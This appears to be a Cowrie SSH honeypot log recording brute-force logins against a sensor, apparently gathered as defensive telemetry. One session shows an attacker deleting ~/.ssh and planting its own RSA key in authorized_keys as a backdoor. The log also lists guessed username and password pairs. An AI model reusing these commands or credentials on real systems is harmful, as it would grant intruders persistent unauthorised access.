{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.369880Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle123","message":"login attempt [oracle/Oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.730380Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.936036Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.938658Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:29.942353Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.105913Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.243344Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.246359Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.332986Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.336839Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":35100,"dst_ip":"10.17.0.5","dst_port":22,"session":"43453bfbda85","protocol":"ssh","message":"New connection: 139.59.208.49:35100 (10.17.0.5:22) [session: 43453bfbda85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.417057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.424766Z","src_ip":"139.59.208.49","session":"43453bfbda85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.507402Z","src_ip":"139.59.208.49","session":"43453bfbda85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.875718Z","src_ip":"139.59.208.49","session":"43453bfbda85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":47958,"dst_ip":"10.17.0.5","dst_port":22,"session":"a31316344732","protocol":"ssh","message":"New connection: 164.92.161.148:47958 (10.17.0.5:22) [session: a31316344732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.911495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:30.915724Z","src_ip":"164.92.161.148","session":"a31316344732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:31.002163Z","src_ip":"164.92.161.148","session":"a31316344732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Butvang@123","message":"login attempt [root/Butvang@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:31.381961Z","src_ip":"164.92.161.148","session":"a31316344732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:31.960979Z","src_ip":"139.59.208.49","session":"43453bfbda85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":35102,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba5f8d88b4ee","protocol":"ssh","message":"New connection: 139.59.208.49:35102 (10.17.0.5:22) [session: ba5f8d88b4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.037659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.041391Z","src_ip":"139.59.208.49","session":"ba5f8d88b4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.123297Z","src_ip":"139.59.208.49","session":"ba5f8d88b4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.469639Z","src_ip":"164.92.161.148","session":"a31316344732","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.491762Z","src_ip":"139.59.208.49","session":"ba5f8d88b4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.577523Z","src_ip":"139.59.208.49","session":"ebd2722aeb8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:32.583877Z","src_ip":"139.59.208.49","session":"ba5f8d88b4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6dd638dba9b","protocol":"ssh","message":"New connection: 196.188.93.169:2498 (159.203.135.109:22) [session: c6dd638dba9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:37.781340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:37.785236Z","src_ip":"196.188.93.169","session":"c6dd638dba9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:37.957169Z","src_ip":"196.188.93.169","session":"c6dd638dba9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MKMKMKMK","message":"login attempt [root/MKMKMKMK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:38.682702Z","src_ip":"196.188.93.169","session":"c6dd638dba9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:39.857805Z","src_ip":"196.188.93.169","session":"c6dd638dba9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":44994,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5c2a4af9a8","protocol":"ssh","message":"New connection: 87.106.29.151:44994 (10.17.0.5:22) [session: 2f5c2a4af9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:48.531850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:48.537308Z","src_ip":"87.106.29.151","session":"2f5c2a4af9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:48.633893Z","src_ip":"87.106.29.151","session":"2f5c2a4af9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12WSX","message":"login attempt [root/zaq12WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:49.084876Z","src_ip":"87.106.29.151","session":"2f5c2a4af9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":56172,"dst_ip":"159.203.135.109","dst_port":22,"session":"aebe6c778b0f","protocol":"ssh","message":"New connection: 103.199.16.90:56172 (159.203.135.109:22) [session: aebe6c778b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:49.364854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:49.405694Z","src_ip":"103.199.16.90","session":"aebe6c778b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:49.627992Z","src_ip":"103.199.16.90","session":"aebe6c778b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:50.184942Z","src_ip":"87.106.29.151","session":"2f5c2a4af9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mstage","password":"mstage123","message":"login attempt [mstage/mstage123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:50.535004Z","src_ip":"103.199.16.90","session":"aebe6c778b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:51.756889Z","src_ip":"103.199.16.90","session":"aebe6c778b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":48554,"dst_ip":"10.17.0.5","dst_port":22,"session":"55eefe2866db","protocol":"ssh","message":"New connection: 213.202.230.81:48554 (10.17.0.5:22) [session: 55eefe2866db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:53.395732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:40:53.399406Z","src_ip":"213.202.230.81","session":"55eefe2866db","protocol":"ssh"}
